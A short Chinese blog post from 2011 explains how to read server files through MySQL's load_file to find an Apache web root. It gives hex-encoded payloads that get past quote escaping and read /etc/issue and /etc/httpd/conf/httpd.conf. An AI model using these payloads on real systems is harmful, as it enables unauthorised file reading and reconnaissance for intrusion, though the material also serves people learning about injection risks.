linux通过mysql的load_file来找apache网站首页目录

2011-4-7 10:18 553 0

摘要: 　　通过前提是有loadfile的权限啦。当然单引号自然是被转义了的，所以路径必须用十六进制或者ascii码编码了。　　先通过：/etc/issue 来看系统版本（路径已经16进制写的）：...

关键词： 路径 68747470642 loadfile nbsp 6574632 版本转义十六进制 httpd 进制

　　通过前提是有loadfile的权限啦。当然单引号自然是被转义了的，所以路径必须用十六进制或者ascii码编码了。　　先通过：/etc/issue 来看系统版本（路径已经16进制写的）：　　load_file (0x2F6574632F6973737565)　　得到：　　Red Hat Enterprise Linux Server release 5.1 (Tikanga) Kernel　　然后搜下这个版本的apache web默认路径：　　/etc/httpd/conf/httpd.conf　　再次loadfile啦：　　load_file (0x2F6574632F68747470642F636F6E662F68747470642E636F6E66)

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除